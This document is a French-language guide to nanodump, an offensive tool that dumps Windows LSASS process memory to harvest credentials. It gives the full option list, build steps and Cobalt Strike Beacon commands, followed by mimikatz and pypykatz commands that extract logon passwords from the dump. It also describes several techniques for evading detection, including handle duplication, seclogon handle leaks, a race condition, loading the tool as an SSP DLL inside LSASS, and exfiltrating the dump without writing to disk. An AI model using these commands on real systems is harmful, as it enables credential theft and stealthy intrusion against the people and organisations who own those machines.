
Le couteau suisse du dump LSASS
Un outil flexible qui crée un minidump du processus LSASS.

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
--write DUMP_PATH, -w DUMP_PATH
filename of the dump
--valid, -v
create a dump with a valid signature
Obtain an LSASS handle via:
--duplicate, -d
duplicate a high privileged existing LSASS handle
--duplicate-elevate, -de
duplicate a low privileged existing LSASS handle and then elevate it
--seclogon-leak-local, -sll
leak an LSASS handle into nanodump via seclogon
--seclogon-leak-remote BIN_PATH, -slt BIN_PATH
leak an LSASS handle into another process via seclogon and duplicate it
--seclogon-duplicate, -sd
make seclogon open a handle to LSASS and duplicate it
--spoof-callstack, -sc
open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
--silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
force WerFault.exe to dump LSASS via SilentProcessExit
--shtinkering, -sk
force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
--fork, -f
fork the target process before dumping
--snapshot, -s
snapshot the target process before dumping
Avoid opening a handle with high privileges:
--elevate-handle, -eh
open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
--getpid
print the PID of LSASS and leave
--chunk-size
chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
--help, -h
print this help message and leave
git clone https://github.com/fortra/nanodump.git
Sous Linux avec MinGW
make -f Makefile.mingw
Sous Windows avec MSVC (Pas de support BOF)
nmake -f Makefile.msvc
Importez le script NanoDump.cna sur Cobalt Strike.
Exécutez la commande nanodump dans la console Beacon ou le binaire nanodump.x64.exe.
Si vous n'avez pas spécifié le drapeau --valid, vous devez restaurer la signature invalide
scripts/restore_signature <dumpfile>
mimikatz:
Pour obtenir les secrets, exécutez simplement :
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit
pypykatz:
Si vous préférez rester sous Linux, vous pouvez utiliser le port python3 de mimikatz appelé pypykatz :
python3 -m pypykatz lsa minidump <dumpfie>
Pour éviter d'ouvrir un handle vers LSASS avec PROCESS_VM_READ, vous pouvez utiliser le paramètre --fork.
Cela fera en sorte que nanodump crée un handle vers LSASS avec un accès PROCESS_CREATE_PROCESS puis crée un 'clone' du processus. Ce nouveau processus sera ensuite dumpé. Bien que cela entraîne la création et la suppression d'un processus, cela supprime le besoin de lire LSASS directement.
De manière similaire à l'option --fork, vous pouvez utiliser --snapshot pour créer un instantané du processus LSASS.
Cela fera en sorte que nanodump crée un handle vers LSASS avec un accès PROCESS_CREATE_PROCESS puis crée un instantané du processus en utilisant PssNtCaptureSnapshot. Ce nouveau processus sera ensuite dumpé. L'instantané sera libéré automatiquement une fois terminé.
Comme l'ouverture d'un handle vers LSASS peut être détectée, nanodump peut plutôt rechercher des handles existants vers LSASS.
S'il en trouve un, il le copie et l'utilise pour créer le minidump.
Notez qu'il n'est pas garanti de trouver un tel handle.
Vous pouvez obtenir un handle vers LSASS avec PROCESS_QUERY_LIMITED_INFORMATION, qui est susceptible d'être autorisé, puis élever ce handle en le dupliquant.
Pour éviter d'ouvrir un handle vers LSASS, vous pouvez abuser du service seclogon en appelant CreateProcessWithLogonW pour faire fuiter un handle LSASS dans le binaire nanodump.
Pour activer cette fonctionnalité, utilisez le paramètre --seclogon-leak-local.
À prendre en compte : lorsqu'elle est utilisée depuis Cobalt Strike, un binaire nanodump non signé doit être écrit sur le disque pour utiliser cette fonctionnalité.
Cette technique est très similaire à la précédente, mais au lieu de faire fuiter le handle dans nanodump, il est divulgué dans un autre binaire puis dupliqué afin que nanodump puisse l'utiliser.
Utilisez le drapeau --seclogon-leak-remote pour accéder à cette fonctionnalité.
Vous pouvez piéger le processus seclogon pour qu'il ouvre un handle vers LSASS et le duplique avant qu'il ne soit fermé, en gagnant une condition de concurrence à l'aide de verrous de fichiers.
Utilisez le drapeau --seclogon-duplicate pour accéder à cette fonctionnalité.
Vous pouvez charger nanodump en tant que SSP dans LSASS pour éviter d'ouvrir un handle.
Lorsque la DLL a été chargée dans LSASS, les paramètres seront transmis via un pipe nommé et une fois le dump terminé, DllMain retournera FALSE pour que LSASS décharge la DLL nanodump.
Vous pouvez coder en dur les paramètres dans la DLL et éviter complètement l'utilisation du pipe nommé avec le drapeau du compilateur PASS_PARAMS_VIA_NAMED_PIPES=0.
Par défaut, une DLL nanodump non signée sera téléchargée dans le dossier Temp, qui sera supprimée automatiquement.
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp
Si vous souhaitez charger une DLL préexistante, vous pouvez exécuter :
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll
Notez que cette vulnérabilité a été corrigée dans le pack de mise à jour de juillet 2022 (Windows 10 21H2 Build 19044.1826)
Pour accéder à cette fonctionnalité, utilisez la commande nanodump_ppl_dump
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp